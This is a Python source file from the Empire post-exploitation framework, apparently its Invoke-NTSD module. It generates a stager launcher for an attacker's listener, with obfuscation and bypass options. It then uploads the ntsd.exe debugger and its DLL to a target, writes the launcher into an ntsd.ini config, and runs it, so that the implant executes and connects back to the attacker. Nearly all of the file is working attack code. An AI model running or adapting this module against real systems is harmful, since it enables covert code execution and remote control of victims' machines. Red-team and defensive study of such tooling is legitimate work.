from empire.server.common.empire import MainMenu
from empire.server.core.exceptions import ModuleValidationException
from empire.server.core.module_models import EmpireModule
from empire.server.core.module_service import auto_finalize, auto_get_source


class Module:
    @staticmethod
    @auto_get_source
    @auto_finalize
    def generate(
        main_menu: MainMenu,
        module: EmpireModule,
        params: dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
        script: str = "",
    ):
        listener_name = params["Listener"]
        upload_path = params["UploadPath"].strip()
        bin = params["BinPath"]
        arch = params["Arch"]
        ntsd_exe_upload_path = upload_path + "\\" + "ntsd.exe"
        ntsd_dll_upload_path = upload_path + "\\" + "ntsdexts.dll"

        if arch == "x64":
            ntsd_exe = (
                main_menu.install_path
                / "data/module_source/code_execution/ntsd_x64.exe"
            )
            ntsd_dll = (
                main_menu.install_path
                / "data/module_source/code_execution/ntsdexts_x64.dll"
            )
        elif arch == "x86":
            ntsd_exe = (
                main_menu.install_path
                / "data/module_source/code_execution/ntsd_x86.exe"
            )
            ntsd_dll = (
                main_menu.install_path
                / "data/module_source/code_execution/ntsdexts_x86.dll"
            )

        script_end = ""
        if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
            # not a valid listener, return nothing for the script
            raise ModuleValidationException(f"[!] Invalid listener: {listener_name}")

        multi_launcher = main_menu.stagertemplatesv2.new_instance("multi_launcher")
        multi_launcher.options["Listener"]["Value"] = params["Listener"]
        multi_launcher.options["UserAgent"]["Value"] = params["UserAgent"]
        multi_launcher.options["Proxy"]["Value"] = params["Proxy"]
        multi_launcher.options["ProxyCreds"]["Value"] = params["ProxyCreds"]
        multi_launcher.options["Obfuscate"]["Value"] = params["Obfuscate"]
        multi_launcher.options["ObfuscateCommand"]["Value"] = params["ObfuscateCommand"]
        multi_launcher.options["Bypasses"]["Value"] = params["Bypasses"]
        launcher = multi_launcher.generate()

        if launcher == "":
            raise ModuleValidationException("Error in launcher generation.")

        launcher = launcher.split(" ")[-1]

        ntsd_exe_data = ntsd_exe.read_bytes()
        ntsd_dll_data = ntsd_dll.read_bytes()

        exec_write = f'Write-Ini {upload_path} "{launcher}"'
        code_exec = f"{upload_path}\\ntsd.exe -cf {upload_path}\\ntsd.ini {bin}"
        ntsd_exe_upload = main_menu.stagergenv2.generate_upload(
            ntsd_exe_data, ntsd_exe_upload_path
        )
        ntsd_dll_upload = main_menu.stagergenv2.generate_upload(
            ntsd_dll_data, ntsd_dll_upload_path
        )

        script_end += "\r\n"
        script_end += ntsd_exe_upload
        script_end += ntsd_dll_upload
        script_end += "\r\n"
        script_end += exec_write
        script_end += "\r\n"
        # this is to make sure everything was uploaded properly
        script_end += "Start-Sleep -s 5"
        script_end += "\r\n"
        script_end += code_exec
        script_end += '\r\n"Invoke-NTSD completed."'

        return script, script_end
